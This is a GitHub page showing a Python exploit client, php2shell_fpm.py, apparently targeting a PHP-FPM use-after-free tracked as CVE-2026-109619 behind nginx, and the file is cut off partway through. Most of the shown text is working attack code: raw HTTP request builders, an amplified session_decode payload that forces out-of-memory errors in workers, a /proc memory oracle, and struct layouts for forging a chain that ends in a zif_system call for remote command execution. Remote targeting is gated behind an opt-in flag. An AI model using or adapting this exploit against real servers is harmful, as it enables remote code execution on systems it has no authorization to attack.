Repository navigation
Expand file tree
/
Copy pathphp2shell_fpm.py
More file actions
executable file
·2578 lines (2326 loc) · 115 KB
/
Copy pathphp2shell_fpm.py
File metadata and controls
executable file
·2578 lines (2326 loc) · 115 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
php2shell_fpm.py — CVE-2026-109619 exploitation client for nginx + PHP-FPM.
The upstream Apache chain (progress-cache UAF, vendor exploit.py stages 1-3)
needs a pre-RINIT OOM, which on FPM kills the worker (fpm_main.c:1871 ->
FPM_EXIT_SOFTWARE). The FPM-viable primitive is the cross-request
BG(unserialize) stale state:
producer A GET app.php + Cookie PHPSESSID=<big-session>
-> session_start() decodes a ~4MB session post-RINIT -> OOM
-> php_execute_script's zend_try catches the bailout, the
worker survives, BG(unserialize) keeps {level=1, data=d}
pointing at the (teardown-freed) 8216-byte struct.
consumer B multipart POST (pre-RINIT): the rfc1867 handler runs inside
php_hash_environment(), i.e. BEFORE zend_activate_modules()
(main.c:1873-1874) where PHP_RINIT(basic) would memset BG.
php_session_initialize() -> php_session_decode() ->
php_var_unserialize_init() reuses d. B reclaims d's slot with
a controlled buffer and plants a forged var_entries.
The producer arm has two modes (--arm-mode, "auto" picks by origin):
builder a second surface with a higher memory_limit writes the big
session (the classic two-pool path; both surfaces can share one
port behind --builder-prefix).
growth ONE stock surface: an amplified session_decode (a wide nested
array payload) multiplies memory ~22x per payload byte while
BG(unserialize).level == 1, so a single POST OOMs inside
unserialize() - no big session file, no memory_limit split, no
single-worker pinning (the arm/consume fan out over --workers).
Lab-only aid: the /proc/<pid>/mem oracle reads BG(unserialize).data (d),
the worker's PIE base and buffer addresses, making the reclaim deterministic
to calibrate. `no-oracle` removes that oracle from the exploit path: it takes the two
absolute bases from an HTTP-only stale-string OOB leak, from --chunk/--pie,
or from /proc/<pid>/maps, then brute-forces the two struct slots.
Subcommands:
lifecycle worker-death matrix (pre- vs post-RINIT OOM)
oracle print worker pid, pie base, chunk base, d, level
build-oom builder-pool POST -> ~4MB session file (cleanup=Off)
build-ref builder-pool POST ref.php -> session file with R:2
producer one request A (stale BG)
reclaim-probe A + patterned B, read back d via oracle (sweep pad sizes)
primitive A + B with forged benign var_entries (observable via app.php)
endgame A + B with forged ref/array/zif_system chain (RCE proof file)
leak HTTP-only chunk/PIE leak from a stale session string
no-oracle endgame without /proc/<pid>/mem (HTTP leak, --chunk/--pie,
or local maps)
chain full pipeline (primitive or endgame phase)
patchcheck run lifecycle+oracle+producer+probe on 8.4.26 vs 8.4.27
probe checklist: does this target meet every precondition?
"""
from __future__ import annotations
import argparse
import contextlib
import copy
import ipaddress
import json
import os
import re
import socket
import struct
import subprocess
import sys
import time
import urllib.parse
HERE = os.path.dirname(os.path.abspath(__file__))
ROOT = os.path.dirname(HERE)
sys.path.insert(0, HERE)
import php2shell_fpm_versions as registry # noqa: E402
LAB = os.path.join(ROOT, "lab", "fpm")
RUNTIME = os.path.join(LAB, "runtime")
BG_UNSERIALIZE_DATA_OFF = 872 # offsetof(php_basic_globals, unserialize.data)
BG_UNSERIALIZE_LEVEL_OFF = 880
MEM_CHUNK = 0x200000
OOM_SID = b"fmroom000000000001"
REF_SID = b"fpmref000000000001"
PATHS = {
"app": "/app.php",
"arm": "/bigvar.php",
"ref": "/ref.php",
"probe": "/nope.php",
"grow": "/grow.php",
"cookie": "PHPSESSID",
}
# How the producer OOM session is armed on a remote target:
# builder — two HTTP surfaces (the current behaviour): a builder surface
# writes the big session, the chain surface OOMs on it.
# growth — ONE surface with default settings: the session is grown in
# small chunks until a decode OOM arms the worker (the save of a
# session always costs more than the decode of the next round,
# so a stalled growth leaves the session just under memory_limit
# and one bigger body tips it over).
# auto — growth when --builder is the same origin as --base (one pool),
# builder otherwise.
ARM_MODE = "builder"
BUILDER_PREFIX = "" # path prefix of the builder pool on a single port
WORKERS = 1 # arm/consume fan-out; the CLI default is 5 (see
# --workers, matching pm.max_children of a stock
# pool) - direct API callers keep the pinned 1
GROW_CHUNK = 256 * 1024 # bytes appended to the session per growth round
GROW_FINE = 64 * 1024 # creep size once the coarse rounds stall
GROW_MAX = 4000 # growth rounds before the big-body probe takes over
ARM_BODY = 1900000 # kept for --arm-body overrides; the probe itself
# walks PROBE_LADDER (largest first) and caches the
# largest body the target accepted
def _cookie(sid: bytes) -> bytes:
return PATHS["cookie"].encode("latin1") + b"=" + sid
def _origin(url: str) -> str:
u = urllib.parse.urlsplit(url)
return f"{u.scheme}://{u.netloc}"
def is_loopback(host: str) -> bool:
"""True when every address for host is a loopback address."""
if not host:
return False
try:
infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM)
except socket.gaierror:
return False
return bool(infos) and all(
ipaddress.ip_address(info[4][0]).is_loopback for info in infos)
def remote_targets_allowed(base: str, builder: str | None, allow_remote: bool) -> bool:
"""Remote use is opt-in, matching the Apache dispatcher's safety gate."""
if allow_remote:
return True
for url in (base, builder):
if not url:
continue
host = urllib.parse.urlsplit(url).hostname or ""
if not is_loopback(host):
return False
return True
def configure_paths(args) -> None:
global ARM_MODE, BUILDER_PREFIX, WORKERS, GROW_CHUNK, GROW_MAX, ARM_BODY
global _probe_usable
for key, attr in (("app", "app_path"), ("arm", "arm_path"),
("ref", "ref_path"), ("probe", "probe_path"),
("grow", "grow_path"), ("cookie", "session_cookie")):
value = getattr(args, attr, None)
if value:
PATHS[key] = str(value)
BUILDER_PREFIX = str(getattr(args, "builder_prefix", "") or "")
mode = getattr(args, "arm_mode", None) or ARM_MODE
if mode == "auto":
base_url = getattr(args, "base", "") or ""
builder_url = getattr(args, "builder", "") or base_url
same_origin = _origin(base_url) == _origin(builder_url)
prefixed = bool(BUILDER_PREFIX)
mode = "growth" if (same_origin and not prefixed) else "builder"
ARM_MODE = mode
WORKERS = max(1, int(getattr(args, "workers", 1) or 1))
GROW_CHUNK = max(4096, int(getattr(args, "grow_chunk", 0) or GROW_CHUNK))
GROW_MAX = max(1, int(getattr(args, "grow_max", 0) or GROW_MAX))
ARM_BODY = max(4096, int(getattr(args, "arm_body", 0) or ARM_BODY))
# an explicit --arm-body pins the probe size; otherwise the ladder walks
# PROBE_LADDER and caches whatever the target accepted
_probe_usable = ARM_BODY if getattr(args, "arm_body", 0) else None
# --------------------------------------------------------------------------- #
# http
# --------------------------------------------------------------------------- #
class Target:
def __init__(self, url: str, timeout: float = 60.0, prefix: str = ""):
u = urllib.parse.urlsplit(url)
self.host = u.hostname or "127.0.0.1"
self.port = u.port or 80
self.path = u.path or "/"
self.prefix = prefix
self.timeout = timeout
def _p(self, path: str) -> str:
"""Path with the surface prefix applied (builder pool behind /b/)."""
return (self.prefix + path) if self.prefix else path
def _connect(self) -> socket.socket:
sock = socket.create_connection((self.host, self.port), timeout=self.timeout)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
return sock
def _exch(self, request: bytes, read_cap: int = 1 << 22,
timeout: float | None = None) -> tuple[int, dict[str, str], bytes]:
sock = self._connect()
sock.settimeout(timeout or self.timeout)
try:
sock.sendall(request)
data = bytearray()
while len(data) < read_cap:
try:
chunk = sock.recv(65536)
except OSError:
break
if not chunk:
break
data.extend(chunk)
finally:
sock.close()
head, _, body = bytes(data).partition(b"\r\n\r\n")
lines = head.decode("latin1", "replace").split("\r\n")
status = 0
if lines and re.match(r"HTTP/1\.[01] \d{3}", lines[0]):
status = int(lines[0].split()[1])
headers: dict[str, str] = {}
for line in lines[1:]:
if ":" in line:
k, v = line.split(":", 1)
headers[k.strip().lower()] = v.strip()
return status, headers, body
def get(self, path: str, cookie: bytes | None = None,
read_cap: int = 1 << 22,
timeout: float | None = None) -> tuple[int, dict[str, str], bytes]:
extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else ""
req = (f"GET {self._p(path)} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n"
f"{extra}Connection: close\r\n\r\n").encode()
return self._exch(req, read_cap=read_cap, timeout=timeout)
def post_multipart(self, parts: list[dict], boundary: bytes,
cookie: bytes | None = None,
read_cap: int = 1 << 22,
timeout: float | None = None) -> tuple[int, dict[str, str], bytes]:
body = build_multipart(parts, boundary)
extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else ""
req = (f"POST {self._p(self.path)} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n"
f"{extra}"
f"Content-Type: multipart/form-data; boundary={boundary.decode('latin1')}\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body
return self._exch(req, read_cap=read_cap, timeout=timeout)
def post_urlencoded(self, fields: dict[str, str],
cookie: bytes | None = None,
path: str | None = None,
timeout: float | None = None) -> tuple[int, dict[str, str], bytes]:
body = urllib.parse.urlencode(fields).encode()
extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else ""
req = (f"POST {self._p(path or self.path)} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body
return self._exch(req, timeout=timeout)
def post_raw(self, path: str, body: bytes, cookie: bytes | None = None,
timeout: float | None = None) -> tuple[int, dict[str, str], bytes]:
"""POST an already-encoded application/x-www-form-urlencoded body.
urlencode() would percent-escape the amplifier payload's braces and
semicolons, tripling it past post_max_size; the url-encoded parser
passes raw bytes through untouched as long as they contain no '+'
or '%', which the payload never does.
"""
extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else ""
req = (f"POST {self._p(path)} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body
return self._exch(req, timeout=timeout)
def builder_target(url: str, timeout: float = 60.0) -> Target:
"""The builder surface: same client as the chain, with the pool prefix.
On a single-port deployment the builder pool sits behind a path prefix
(``--builder-prefix /b``), so every builder request - posts *and* gets -
is routed there instead of to the chain pool.
"""
return Target(url, timeout=timeout, prefix=BUILDER_PREFIX)
def build_multipart(parts: list[dict], boundary: bytes) -> bytes:
out = bytearray()
for part in parts:
name = part["name"] if isinstance(part["name"], bytes) else part["name"].encode("latin1")
out += b"--" + boundary + b"\r\n"
out += b'Content-Disposition: form-data; name="' + name + b'"'
if part.get("filename") is not None:
fname = (part["filename"] if isinstance(part["filename"], bytes)
else part["filename"].encode("latin1"))
out += b'; filename="' + fname + b'"'
out += b"\r\nContent-Type: application/octet-stream"
data = part["data"] if isinstance(part["data"], bytes) else part["data"].encode("latin1")
out += b"\r\n\r\n" + data + b"\r\n"
out += b"--" + boundary + b"--\r\n"
return bytes(out)
def parse_sid(header_value: str) -> bytes:
return urllib.parse.unquote_to_bytes(header_value.split(";")[0].strip())
# --------------------------------------------------------------------------- #
# oracle (/proc/<pid>/mem, lab-only)
# --------------------------------------------------------------------------- #
def fpm_prefix(version: str) -> str:
return os.path.join(RUNTIME, f"php-{version}")
def find_pool_worker(version: str, pool: str) -> int | None:
marker = f"php-fpm: pool {pool}".encode()
for name in os.listdir("/proc"):
if not name.isdigit():
continue
try:
with open(f"/proc/{name}/cmdline", "rb") as handle:
data = handle.read()
except OSError:
continue
if marker not in data:
continue
# workers of every build look alike; match the binary path
exe = os.readlink(f"/proc/{name}/exe")
if f"php-{version}" in exe:
return int(name)
return None
class Oracle:
def __init__(self, version: str, pool: str = "chain"):
self.version = version
self.pid = find_pool_worker(version, pool)
if self.pid is None:
raise RuntimeError(f"no php-fpm '{pool}' worker for {version}")
self.maps = self._read_maps()
self.pie_base = self._pie_base()
self.bg = self.pie_base + self._symbol("basic_globals")
self.zif = self.pie_base + self._symbol("zif_system")
self.dtor = self.pie_base + self._symbol("zval_ptr_dtor")
def _read_maps(self) -> list[tuple[int, int, str]]:
out = []
with open(f"/proc/{self.pid}/maps", encoding="utf-8") as handle:
for line in handle:
rng, perms, *rest = line.split()
start_s, end_s = rng.split("-")
out.append((int(start_s, 16), int(end_s, 16), perms))
return out
def _pie_base(self) -> int:
exe = os.readlink(f"/proc/{self.pid}/exe")
with open(f"/proc/{self.pid}/maps", encoding="utf-8") as handle:
base = None
for line in handle:
parts = line.split()
if parts[-1] != exe:
continue
start = int(parts[0].split("-")[0], 16)
if base is None or start < base:
base = start
if base is None:
raise RuntimeError("pie base not found")
return base
def _symbol(self, name: str) -> int:
binary = os.readlink(f"/proc/{self.pid}/exe")
result = subprocess.run(["nm", binary], capture_output=True, text=True)
# PHP <= 7.2 exports the zval destructor with a leading underscore
aliases = {name, "_" + name}
for line in result.stdout.splitlines():
parts = line.split()
if len(parts) >= 3 and parts[-1] in aliases:
return int(parts[0], 16)
raise RuntimeError(f"symbol {name} not found")
def read(self, addr: int, size: int) -> bytes:
with open(f"/proc/{self.pid}/mem", "rb") as handle:
handle.seek(addr)
return handle.read(size)
def u64(self, addr: int) -> int:
return struct.unpack("<Q", self.read(addr, 8))[0]
def u32(self, addr: int) -> int:
return struct.unpack("<I", self.read(addr, 4))[0]
def unserialize_data(self) -> int:
data_off, _level_off = _bg_offsets(self.version)
return self.u64(self.bg + data_off)
def unserialize_level(self) -> int:
_data_off, level_off = _bg_offsets(self.version)
return self.u32(self.bg + level_off)
def chunk_base(self, addr: int) -> int | None:
for start, end, perms in self.maps:
if start <= addr < end and "rw-p" in perms and end - start >= MEM_CHUNK:
base = addr & ~(MEM_CHUNK - 1)
if start <= base and base + MEM_CHUNK <= end:
return base
return None
def refresh(self) -> None:
self.maps = self._read_maps()
def dump(self) -> None:
d = self.unserialize_data()
level = self.unserialize_level()
chunk = self.chunk_base(d) if d else None
print(f"worker pid={self.pid}")
print(f"pie_base 0x{self.pie_base:x}")
print(f"basic_glob 0x{self.bg:x}")
print(f"zif_system 0x{self.zif:x}")
print(f"zval_ptrdtor 0x{self.dtor:x}")
print(f"BG.data 0x{d:x} level={level}")
print(f"chunk_base {hex(chunk) if chunk else None}")
# --------------------------------------------------------------------------- #
# lab helpers
# --------------------------------------------------------------------------- #
def session_file(version: str, sid: bytes) -> str:
return os.path.join(fpm_prefix(version), "session", f"sess_{sid.decode('latin1')}")
def big_session_post(builder: Target, sid: bytes, size: int) -> tuple[int, bytes]:
"""Progress-key 4MB string -> session file with a huge key (cleanup=Off)."""
parts = [
{"name": PATHS["cookie"], "data": sid},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"A" * size},
{"name": "f", "filename": "a.txt", "data": b"x" * 16},
]
status, headers, body = builder.post_multipart(parts, b"BOUNDSZ16", timeout=180.0)
return status, body
def ref_session_post(builder: Target, sid: bytes) -> tuple[int, bytes]:
"""ref.php stores $_SESSION['r'] =& $_SESSION['a'] -> 'R:2' in the file."""
status, _headers, body = builder.post_urlencoded(
{"x": "1"}, cookie=_cookie(sid), path=PATHS["ref"])
return status, body
def producer_get(chain: Target, sid: bytes) -> tuple[int, bytes]:
status, _headers, body = chain.get(PATHS["app"], cookie=_cookie(sid))
return status, body
# --------------------------------------------------------------------------- #
# growth arm (single surface, default php.ini)
# --------------------------------------------------------------------------- #
# Decode-side amplifier: payload sizes tried largest first. A payload of
# N bytes decodes to roughly 22N bytes of live HashTables (28-byte
# two-deep children -> ~620 bytes), so a ~8 MB payload (post_max_size's
# default is 8M) crosses memory_limit of a 128M surface from an EMPTY
# session. Fronts that cap bodies descend the ladder.
AMPLIFIER_SIZES = (8200000, 6000000, 4800000, 3000000, 1000000)
_amplifier_cache: dict[int, bytes] = {}
_amplifier_usable: int | None = None
def _amplifier_payload(nbytes: int) -> bytes:
"""A session-format string whose decode multiplies memory ~20x.
Shape: ``k|a:<n>{i:0;a:1:{i:0;a:1:{i:0;N;}}...}`` - one wide array of
two-deep non-empty sub-arrays. Empty arrays are useless here (PHP
interns ``a:0:{}`` process-wide, so they cost nothing); a two-element
nesting gives ~620 bytes of live HashTables per ~28 payload bytes while
keeping the nesting depth at 4 (unserialize_max_depth is never
approached). The decode runs with BG(unserialize).level == 1, so an
OOM anywhere inside leaves exactly the stale struct the chain reclaims.
"""
cached = _amplifier_cache.get(nbytes)
if cached is not None:
return cached
child = b"a:1:{i:0;a:1:{i:0;N;}}"
# Short strings FIRST: the stale var_hash then carries them at
# data[0..3], which is exactly what the HTTP leak's R:2 hook reads
# (the classic bigvar.php arm stored k0..k3 for the same reason).
seed = (b'a|s:2000:"' + b"K" * 2000 + b'";'
b'b|s:2000:"' + b"L" * 2000 + b'";'
b'c|s:2000:"' + b"M" * 2000 + b'";'
b'd|s:2000:"' + b"N" * 2000 + b'";')
# conservative per-child budget: i:<6 digits>;<child> tops out at 32
# bytes, so a 14-byte margin keeps the total under nbytes and well
# inside post_max_size (8M) and an 8m client_max_body_size
count = max(16, min(500000, (nbytes - len(seed)) // (len(child) + 14)))
items = [b"i:" + str(i).encode("ascii") + b";" + child
for i in range(count)]
# full session-format payload: grow.php passes it to session_decode as-is
blob = (seed + b"k|a:" + str(count).encode("ascii") + b":{"
+ b"".join(items) + b"}")
_amplifier_cache[nbytes] = blob
return blob
def _amplifier_arm(target: Target, sid: bytes) -> bool | None:
"""Arm with ONE amplified session_decode. True=armed, None=survived."""
global _amplifier_usable
ladder = (_amplifier_usable,) if _amplifier_usable else AMPLIFIER_SIZES
for size in ladder:
payload = _amplifier_payload(size)
try:
status, _headers, body = target.post_raw(
PATHS["grow"], b"p=" + payload, cookie=_cookie(sid),
timeout=300.0)
except (OSError, TimeoutError):
return True # worker died mid-request: treat as armed
body = _dechunk(body)
if status == 413:
continue # front caps bodies: try a smaller payload
if b"GROW_OK" not in body:
return True # fatal inside session_decode -> OOM -> armed
match = re.search(rb"GROW_OK \d+ B(\d+)", body)
if match and int(match.group(1)) == len(payload):
_amplifier_usable = size # payload arrived, decode survived
return None
# payload discarded by post_max_size: descend
return False
def _grow_size(body: bytes) -> int:
"""Bytes of session payload reported by grow.php, or -1."""
match = re.search(rb"GROW_OK (\d+)", body)
return int(match.group(1)) if match else -1
def _grow_round(target: Target, sid: bytes, index: int,
chunk: int | None = None) -> tuple[bool, int]:
"""One growth round. Returns (armed, session_bytes).
grow.php echoes GROW_OK only *after* session_start(): a decode OOM is a
fatal before the marker, which is how the arm is detected over HTTP.
"""
chunk = GROW_CHUNK if chunk is None else chunk
fields = {"k": f"g{index:05d}", "v": "A" * chunk}
try:
_status, _headers, body = target.post_urlencoded(
fields, cookie=_cookie(sid), path=PATHS["grow"], timeout=180.0)
except (OSError, TimeoutError):
return True, -1 # the worker died mid-request: treat as armed
body = _dechunk(body)
if b"GROW_OK" not in body:
return True, -1 # fatal during session_start() -> OOM -> armed
return False, _grow_size(body)
# Probe body ladder, largest first: post_max_size's default (8M) accepts
# 8,000,000, and the crossing formula (2F + body + baseline >= memory_limit,
# everything in bytes) needs ~8 MB of body when the save wall sits at ~63 MB
# of a 128M surface. The smaller steps adapt to fronts that cap bodies.
PROBE_LADDER = (8000000, 5000000, 3000000, 1900000, 1040000)
_probe_usable: int | None = None # largest body this target actually took
def _arm_probe(target: Target, sid: bytes) -> bool:
"""Tip a stalled growth over memory_limit with one bigger body.
The body is parsed before RINIT and stays allocated while the session
decodes, so it raises the decode peak by its own size - the one lever
the save does not get: the save carries the encode buffer on top of
the zvals, which is why it dies first. grow.php reports how many body
bytes arrived (``B<n>``); a body over post_max_size is discarded
silently, which the ladder treats like a 413 and descends past.
"""
global _probe_usable
ladder = (_probe_usable,) if _probe_usable else PROBE_LADDER
for body_bytes in ladder:
fields = {"x": "B" * body_bytes}
try:
status, _headers, body = target.post_urlencoded(
fields, cookie=_cookie(sid), path=PATHS["grow"],
timeout=300.0)
except (OSError, TimeoutError):
return True
body = _dechunk(body)
if status == 413:
continue # front caps bodies: try a smaller one
if b"GROW_OK" not in body:
return True # fatal before the marker -> OOM -> armed
match = re.search(rb"GROW_OK \d+ B(\d+)", body)
arrived = int(match.group(1)) if match else -1
if arrived == body_bytes:
_probe_usable = body_bytes # full body landed, still under
return False
# body discarded by post_max_size: descend
print(f"[!] no probe body got through (413 or post_max_size below "
f"{PROBE_LADDER[-1]}): raise client_max_body_size to >= 2m and "
f"post_max_size to 8M on the target")
return False
def grow_until_armed(base: str, sid: bytes = OOM_SID) -> bool:
"""Arm a decode-side OOM on ONE default surface.
Primary path: a single amplified ``session_decode`` - a few MB of wide
empty-array payload decodes to far more than memory_limit while
BG(unserialize).level == 1, with no session file, no save, and no wall
to chase. Fallback: grow the session to the save wall and cross it
with a big-body probe (for fronts that cap payloads too low for the
amplifier). Either way the OOM runs post-RINIT inside a
session_start()/session_decode() call, which is the producer arm.
"""
target = Target(base)
amplified = _amplifier_arm(target, sid)
if amplified:
print("[*] arm: amplified session_decode OOM (single request)")
return True
if amplified is None:
print("[*] arm: amplifier payload arrived but did not cross; "
"falling back to growth")
else:
print("[*] arm: no amplifier payload got through (413 or "
"post_max_size); falling back to growth")
last, stall, probes = -1, 0, 0
coarse = True
for index in range(GROW_MAX):
chunk = GROW_CHUNK if coarse else GROW_FINE
armed, size = _grow_round(target, sid, index, chunk)
if armed:
print(f"[*] growth arm: OOM at round {index}")
return True
if size > last:
# progress: reopen the coarse throttle (the save landed)
if not coarse:
print(f"[*] growth resumed at ~{size} bytes")
last, stall, probes = size, 0, 0
coarse = True
continue
# no progress: either the save did not land yet or we are at the wall
stall += 1
if stall >= 2 and coarse:
print(f"[*] growth stalled at ~{last} bytes; creeping with "
f"{GROW_FINE} byte rounds")
coarse, stall = False, 0
continue
if not coarse and stall >= 6:
if probes % 3 == 0:
print(f"[*] probing the wall at ~{last} bytes ({probes + 1})")
if _arm_probe(target, sid):
return True
probes += 1
stall = 0
if probes >= 40:
break
time.sleep(0.05) # give the previous request's save time to land
# A grown session shrinks the payload the amplifier needs: with ~60 MB
# on disk a 3 MB rung crosses memory_limit even on a front that caps
# bodies around 3-4 m, so give the amplifier one more shot here.
if _amplifier_arm(target, sid):
print("[*] arm: amplified session_decode OOM after growth")
return True
print(f"[!] growth reached ~{last} bytes but no OOM crossed "
f"memory_limit: arming needs 2 x session + probe body >= the "
f"limit, so either the front capped the probe body below "
f"{PROBE_LADDER[-1]} bytes (nginx client_max_body_size 8m, "
f"post_max_size 8M), session.lazy_write=On caps the save wall "
f"near 40 MB, or the consumer memory_limit is too high for this "
f"surface - a second surface with a lower memory_limit still "
f"works.")
return False
def _remote_arm(base: str, builder_url: str, size: int) -> None:
"""Rebuild the OOM session and fire the producer (remote paths).
builder mode fans out over WORKERS so every pool worker carries the
stale state (the consume then only has to land on *an* armed worker);
growth mode arms the worker that runs the final round and the caller
consumes immediately after it.
"""
if ARM_MODE == "growth":
# One amplifier request arms the worker that takes it; repeat across
# the pool so every pm.max_children worker carries the stale state
# (RINIT only clears the worker a request lands on, so earlier arms
# stay standing). Each round is a single request.
for _ in range(WORKERS):
if not grow_until_armed(base):
raise RuntimeError(
"growth arm failed: the session never reached "
"memory_limit (raise --arm-body, lower --grow-chunk, or "
"point --grow-path at an endpoint that appends to the "
"session)")
return
chain = Target(base)
builder = builder_target(builder_url)
for _ in range(WORKERS):
big_session_post(builder, OOM_SID, size)
producer_get(chain, OOM_SID)
# --------------------------------------------------------------------------- #
# shared exploit pipeline
# --------------------------------------------------------------------------- #
def _arm_stale(base: Target, builder: Target, oracle: Oracle, size: int) -> int:
"""Rebuild the OOM session (php_session_cancel_decode unlinked it during
the previous bailout), fire the producer, return stale BG.data.
Note: any later request that reaches RINIT memsets BG(basic), so the
stale state must be re-armed immediately before the consume."""
big_session_post(builder, OOM_SID, size)
producer_get(base, OOM_SID)
d = oracle.unserialize_data()
if not d or oracle.unserialize_level() != 1:
raise RuntimeError("stale state not armed")
return d
def _reclaim_pads(version: str, override: list[int] | None = None) -> list[int]:
if override:
return [int(x) for x in override]
path = os.path.join(ROOT, "profiles", f"{version}-fpm.json")
try:
with open(path, encoding="utf-8") as handle:
return [int(x) for x in
json.load(handle)["fpm"].get("reclaim_pads",
[4096, 4096, 4096])]
except (OSError, KeyError, TypeError, ValueError):
return [4096, 4096, 4096]
def _load_profile(version: str) -> dict | None:
path = os.path.join(ROOT, "profiles", f"{version}-fpm.json")
try:
with open(path, encoding="utf-8") as handle:
return json.load(handle)
except (OSError, ValueError):
return None
# Layout of the structures the forged buffer impersonates. The values are
# the PHP 8.4 ones and are only used when a profile carries no "layout"
# section (profiles generated by tools/php2shell_fpm_profile.py always do).
DEFAULT_LAYOUT = {
"unserialize_data": {
"last": 0, "first_dtor": 8, "last_dtor": 16, "allowed_classes": 24,
"ref_props": 32, "cur_depth": 40, "max_depth": 48, "entries": 56,
"size": 8216,
},
"var_entries": {"used_slots": 0, "next": 8, "data": 16, "max": 1018},
"zval": {"value": 0, "type_info": 8, "context": 12, "size": 16},
"zend_array": {"gc": 0, "flags": 8, "nTableMask": 12, "arData": 16,
"nNumUsed": 24, "nNumOfElements": 28, "nTableSize": 32,
"pDestructor": 48},
"zend_reference": {"gc": 0, "val": 8, "val_type_info": 16, "sources": 24},
"zend_string": {"gc": 0, "h": 8, "len": 16, "val": 24},
"zend_execute_data": {"opline": 0, "call": 8, "return_value": 16,
"func": 24, "num_args": 44, "arg1": 80},
"bucket": {"val": 0, "h": 16, "key": 24},
}
def _layout(version: str) -> dict:
"""Struct layout of a PHP build (from its profile)."""
profile = _load_profile(version)
layout = copy.deepcopy(DEFAULT_LAYOUT)
if profile and isinstance(profile.get("layout"), dict):
for section, values in profile["layout"].items():
if isinstance(values, dict):
merged = dict(layout.get(section, {}))
merged.update(values)
layout[section] = merged
return layout
def _bg_offsets(version: str) -> tuple[int, int]:
"""(data offset, level offset) of BG(unserialize) for a build."""
profile = _load_profile(version)
if profile:
meta = profile.get("fpm", {})
if "bg_unserialize_data_off" in meta and "bg_unserialize_level_off" in meta:
